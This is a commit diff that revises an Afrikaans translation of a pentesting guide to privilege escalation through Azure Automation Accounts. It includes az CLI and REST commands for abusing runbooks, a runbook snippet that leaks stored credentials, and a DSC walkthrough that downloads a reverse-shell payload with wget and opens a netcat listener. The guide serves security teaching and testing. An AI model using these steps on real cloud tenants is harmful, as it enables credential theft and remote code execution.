Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-21 20:50:22 +00:00
parent 2077f74fa4
commit c98c94efdf
@@ -12,29 +12,29 @@ Vir meer inligting, kyk:
### Hybrid Workers Group
- **Van die Automatiseringsrekening na die VM**
- **Van die Automation Account na die VM**
Onthou dat as 'n aanvaller op een of ander manier 'n arbitrêre runbook (arbitrêre kode) in 'n hibriede werker kan uitvoer, hy sal **na die ligging van die VM pivot**. Dit kan 'n plaaslike masjien wees, 'n VPC van 'n ander wolk of selfs 'n Azure VM.
Onthou dat as 'n aanvaller op een of ander manier 'n runbook (enige kode) in 'n hybrid worker kan uitvoer, sal hy **pivot to the location of the VM**. Dit kan 'n on-premise masjien, 'n VPC van 'n ander cloud of selfs 'n Azure VM wees.
Boonop, as die hibriede werker in Azure met ander bestuurde identiteite aanheg, sal die runbook toegang hê tot die **bestuurde identiteit van die runbook en al die bestuurde identiteite van die VM vanaf die metadata-diens**.
Boonop, as die hybrid worker in Azure loop met ander Managed Identities aangeheg, sal die runbook toegang hê tot die **managed identity of the runbook and all the managed identities of the VM from the metadata service**.
> [!TIP]
> Onthou dat die **metadata-diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die bestuurde identiteite-token van die automatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**).
> Onthou dat die **metadata service** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die managed identities-token van die Automation Account verkry word (**`IDENTITY_ENDPOINT`**).
- **Van die VM na die Automatiseringsrekening**
- **Van die VM na die Automation Account**
Boonop, as iemand 'n VM waar 'n automatiseringsrekening-skrip loop, kompromitteer, sal hy in staat wees om die **Automatiseringsrekening** metadata te lokaliseer en dit vanaf die VM te benader om tokens vir die **Bestuurde Identiteite** wat aan die Automatiseringsrekening geheg is, te verkry.
Boonop, as iemand 'n VM kompromitteer waarop 'n Automation Account-skrip loop, sal hy die metadata van die **Automation Account** kan opspoor en daarvan vanaf die VM toegang kry om tokens te verkry vir die **Managed Identities** wat aan die Automation Account gekoppel is.
Soos in die volgende beeld gesien kan word, is dit moontlik om in die **omgewing veranderlikes van die proses** die URL en geheim te vind om toegang tot die automatiseringsrekening metadata-diens te verkry:
Soos te sien in die volgende beeld, met Administrator-toegang tot die VM is dit moontlik om in die **environment variables of the process** die URL en geheim te vind om toegang te kry tot die automation account metadata service:
![](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
As opsomming laat hierdie toestemmings toe om **Runbooks te skep, te wysig en uit te voer** in die Automatiseringsrekening wat jy kan gebruik om **kode** in die konteks van die Automatiseringsrekening uit te voer en voorregte na die toegewyde **Bestuurde Identiteite** te eskaleer en **bewyse** en **versleutelde veranderlikes** wat in die Automatiseringsrekening gestoor is, te lek.
Kortom, hierdie permissies laat toe om **Runbooks te skep, te wysig en uit te voer** in die Automation Account, wat gebruik kan word om **kode uit te voer** in die konteks van die Automation Account en om privilegies op te skaal na die toegewezen **Managed Identities** en om 'leak' **credentials** en **encrypted variables** wat in die Automation Account gestoor is.
Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat toe om die kode van 'n Runbook in die Automatiseringsrekening te wysig met:
Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat toe om die kode van 'n Runbook in die Automation Account te wysig deur:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -47,16 +47,16 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Let op hoe die vorige skrip gebruik kan word om die **gebruikersnaam en wagwoord** van 'n geloofsbrief en die waarde van 'n **versleutelde veranderlike** wat in die Automatiseringsrekening gestoor is, te **lek**.
Let op hoe die vorige script gebruik kan word om die **leak van die gebruikersnaam en wagwoord** van 'n credential en die waarde van 'n **geënkripteerde veranderlike** wat in die Automation Account gestoor is, te verkry.
Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** laat die gebruiker toe om 'n Runbook in die Automatiseringsrekening te publiseer sodat die veranderinge toegepas word:
Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** laat die gebruiker toe om 'n Runbook in die Automation Account te publiseer sodat die veranderinge toegepas word:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
Die toestemming **`Microsoft.Automation/automationAccounts/jobs/write`** laat die gebruiker toe om 'n Runbook in die Automatiseringsrekening te hardloop met:
Die toestemming **`Microsoft.Automation/automationAccounts/jobs/write`** laat die gebruiker toe om 'n Runbook in die Automation Account uit te voer met behulp van:
```bash
az automation runbook start \
--automation-account-name <account-name> \
@@ -64,18 +64,18 @@ az automation runbook start \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
Die toestemming **`Microsoft.Automation/automationAccounts/jobs/output/read`** laat die gebruiker toe om die uitvoer van 'n taak in die Automatiseringsrekening te lees met:
Die toestemming **`Microsoft.Automation/automationAccounts/jobs/output/read`** laat die gebruiker toe om die uitvoer van 'n job in die Automation Account te lees met behulp van:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
As daar nie Runbooks geskep is nie, of jy wil 'n nuwe een skep, sal jy die **toestemmings `Microsoft.Resources/subscriptions/resourcegroups/read` en `Microsoft.Automation/automationAccounts/runbooks/write`** nodig hê om dit te doen met:
As daar nog geen Runbooks geskep is nie, of jy wil 'n nuwe een skep, sal jy die **toestemmings `Microsoft.Resources/subscriptions/resourcegroups/read` en `Microsoft.Automation/automationAccounts/runbooks/write`** nodig hê om dit te doen deur gebruik te maak van:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Hierdie toestemming laat die gebruiker toe om **'n gebruikersbestuurde identiteit** aan die Automatiseringsrekening toe te ken met:
Hierdie toestemming laat die gebruiker toe om **'n user managed identity toe te ken** aan die Automation Account met behulp van:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -91,9 +91,9 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Met die toestemming **`Microsoft.Automation/automationAccounts/schedules/write`** is dit moontlik om 'n nuwe Skedule in die Automatiseringsrekening te skep wat elke 15 minute uitgevoer word (nie baie stil nie) met behulp van die volgende opdrag.
Met die toestemming **`Microsoft.Automation/automationAccounts/schedules/write`** is dit moontlik om 'n nuwe Schedule in die Automation Account te skep wat elke 15 minute uitgevoer word (nie baie stil nie) met die volgende opdrag.
Let daarop dat die **minimum interval vir 'n skedule 15 minute is**, en die **minimum begin tyd 5 minute** in die toekoms is.
Merk op dat die **minimum interval vir 'n skedule 15 minute is**, en dat die **minimum begin tyd 5 minute in die toekoms is**.
```bash
## For linux
az automation schedule create \
@@ -115,7 +115,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Skeduleerder aan 'n runbook toe te ken met:
Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Scheduler aan 'n runbook toe te ken deur gebruik te maak van:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -134,22 +134,40 @@ az rest --method PUT \
}'
```
> [!TIP]
> In die vorige voorbeeld is die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as voorbeeld** maar jy sal 'n arbitrêre waarde moet gebruik om hierdie toewysing te skep.
> In die vorige voorbeeld is die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as voorbeeld** maar jy sal 'n ewekansige waarde moet gebruik om hierdie toewysing te skep.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Met die toestemming **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automatiseringsrekening te skep met behulp van die volgende opdrag.
Met die toestemming **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automation Account te skep deur een van die volgende opdragte te gebruik.
Met Azure Powershell:
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
Hierdie opdrag behoort 'n webhook URI te retourneer wat slegs tydens die skepping vertoon word. Dan, om die runbook te bel met behulp van die webhook URI
Met AzureCLI en REST:
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
```
Hierdie opdragte behoort 'n webhook URI terug te gee wat slegs by skepping vertoon word. Gebruik dan die webhook URI om die runbook aan te roep.
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Net met die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **kode van 'n Runbook** op te dateer sonder om dit te publiseer en dit te loop met behulp van die volgende opdragte.
Slegs met die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **kode van 'n Runbook by te werk** sonder om dit te publiseer en dit uit te voer met die volgende opdragte.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Hierdie toestemming laat die gebruiker toe om **'n bronbeheer** vir die Automatiseringsrekening te **konfigureer** met behulp van opdragte soos die volgende (dit gebruik Github as voorbeeld):
Hierdie toestemming laat die gebruiker toe om **'n source control te konfigureer** vir die Automation Account deur 'n opdrag soos die volgende te gebruik (dit gebruik Github as voorbeeld):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -190,16 +208,16 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Dit sal outomaties die runbooks van die Github-repo na die Automation Account invoer en met 'n paar ander toestemmings om dit te begin uitvoer, sal dit **moontlik wees om voorregte te verhoog**.
Hierdie sal die runbooks outomaties vanaf die Github repository na die Automation Account invoer en, met 'n paar ander toestemmings om dit te begin uitvoer, sou dit **possible to escalate privileges** wees.
Boonop, onthou dat vir bronbeheer om in Automation Accounts te werk, dit 'n bestuurde identiteit met die rol **`Contributor`** moet hê, en as dit 'n gebruiker bestuurde identiteit is, moet die kliënt-id van die MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** gespesifiseer word.
Bovendien, onthou dat vir source control om in Automation Accounts te werk dit 'n managed identity met die rol **`Contributor`** moet hê, en as dit 'n user managed identity is, moet die client id van die MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** gespesifiseer word.
> [!TIP]
> Let daarop dat dit nie moontlik is om die repo-URL van 'n bronbeheer te verander sodra dit geskep is nie.
> Let wel: dit is nie moontlik om die repo URL van 'n source control te verander sodra dit geskep is nie.
### `Microsoft.Automation/automationAccounts/variables/write`
Met die toestemming **`Microsoft.Automation/automationAccounts/variables/write`** is dit moontlik om veranderlikes in die Automation Account te skryf met behulp van die volgende opdrag.
Met die toestemming **`Microsoft.Automation/automationAccounts/variables/write`** is dit moontlik om veranderlikes in die Automation Account te skryf met die volgende opdrag.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -213,53 +231,53 @@ az rest --method PUT \
}
}'
```
### Pasgemaakte Runtime Omgewings
### Aangepaste runtime-omgewings
As 'n outomatiseringsrekening 'n pasgemaakte runtime-omgewing gebruik, kan dit moontlik wees om 'n pasgemaakte pakket van die runtime met kwaadwillige kode (soos **'n agterdeur**) te oorskryf. Op hierdie manier, wanneer 'n runbook wat daardie pasgemaakte runtime gebruik, uitgevoer word en die pasgemaakte pakket laai, sal die kwaadwillige kode uitgevoer word.
As an automation account 'n custom runtime environment gebruik, kan dit moontlik wees om 'n custom pakket van die runtime met kwaadwillige kode oor te skryf (soos **a backdoor**). Op hierdie manier, wanneer 'n runbook wat daardie custom runtime gebruik uitgevoer word en die custom pakket laai, sal die kwaadwillige kode uitgevoer word.
### Kompromittering van Staat Konfigurasie
### Kompromittering van State-konfigurasie
**Kyk die volledige pos in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
Sien die volledige berig by: [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Stap 1 — Skep Lêers
- Stap 1 — Skep lêers
**Benodigde Lêers:** Twee PowerShell-skripte is nodig:
1. `reverse_shell_config.ps1`: 'n Gewenste Staat Konfigurasie (DSC) lêer wat die payload aflaai en uitvoer. Dit is beskikbaar vanaf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: 'n Skrip om die konfigurasie na die VM te publiseer, beskikbaar by [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Vereiste lêers:** Twee PowerShell-skripte is nodig:
1. `reverse_shell_config.ps1`: 'n Desired State Configuration (DSC) file wat die payload haal en uitvoer. Dit is beskikbaar by [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: 'n skrip om die konfigurasie na die VM te publiseer, beskikbaar by [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Aanpassing:** Veranderlikes en parameters in hierdie lêers moet aangepas word vir die gebruiker se spesifieke omgewing, insluitend hulpbronname, lêerpaaie, en bediener/payload identifiseerders.
**Aanpassing:** Veranderlikes en parameters in hierdie lêers moet vir die gebruiker se spesifieke omgewing aangepas word, insluitende resource names, file paths, en server/payload identifiers.
- Stap 2 — Zip Konfigurasie Lêer
- Stap 2 — Zip die konfigurasielêer
Die `reverse_shell_config.ps1` word gecomprimeer in 'n `.zip` lêer, wat dit gereed maak vir oordrag na die Azure Storage Account.
Die `reverse_shell_config.ps1` word saamgepak in 'n `.zip`-lêer, wat dit gereed maak vir oordrag na die Azure Storage Account.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Stap 3 — Stel Stoor Konteks in & Laai op
- Stap 3 — Stel Storage-konteks in & Oplaai
Die gecomprimeerde konfigurasie-lêer word na 'n vooraf gedefinieerde Azure Stoor houer, azure-pentest, opgelaai met behulp van Azure se Set-AzStorageBlobContent cmdlet.
Die gezipte konfigurasielêer word na 'n voorafbepaalde Azure Storage-container, azure-pentest, opgelaai met Azure se Set-AzStorageBlobContent cmdlet.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Stap 4 — Berei Kali Box voor
Die Kali-bediener laai die RevPS.ps1 payload af van 'n GitHub-bewaarplek.
Die Kali-bediener laai die RevPS.ps1 payload van 'n GitHub repository af.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Die skrip is gewysig om die teiken Windows VM en poort vir die omgekeerde skulp te spesifiseer.
Die script word gewysig om die teiken Windows VM en poort vir die reverse shell te spesifiseer.
- Stap 5 — Publiseer Konfigurasie Lêer
- Stap 5 — Publiseer konfigurasielêer
Die konfigurasie lêer word uitgevoer, wat lei tot die ontplooiing van die omgekeerde-skulpskrip na die gespesifiseerde ligging op die Windows VM.
Die konfigurasielêer word uitgevoer, waardeur die reverse-shell script op die gespesifiseerde ligging op die Windows VM ontplooi word.
- Stap 6 — Gasheer Payload en Stel Luisteraar Op
- Stap 6 — Host payload en stel listener op
'n Python SimpleHTTPServer word begin om die payload te gasheer, saam met 'n Netcat luisteraar om inkomende verbindings te vang.
'n Python SimpleHTTPServer word gestart om die payload te host, saam met 'n Netcat listener om inkomende verbindings vas te vang.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Die geskeduleerde taak voer die payload uit, wat SYSTEM-vlak voorregte bereik.
Die geskeduleerde taak voer die payload uit en behaal SYSTEM-level privileges.
{{#include ../../../banners/hacktricks-training.md}}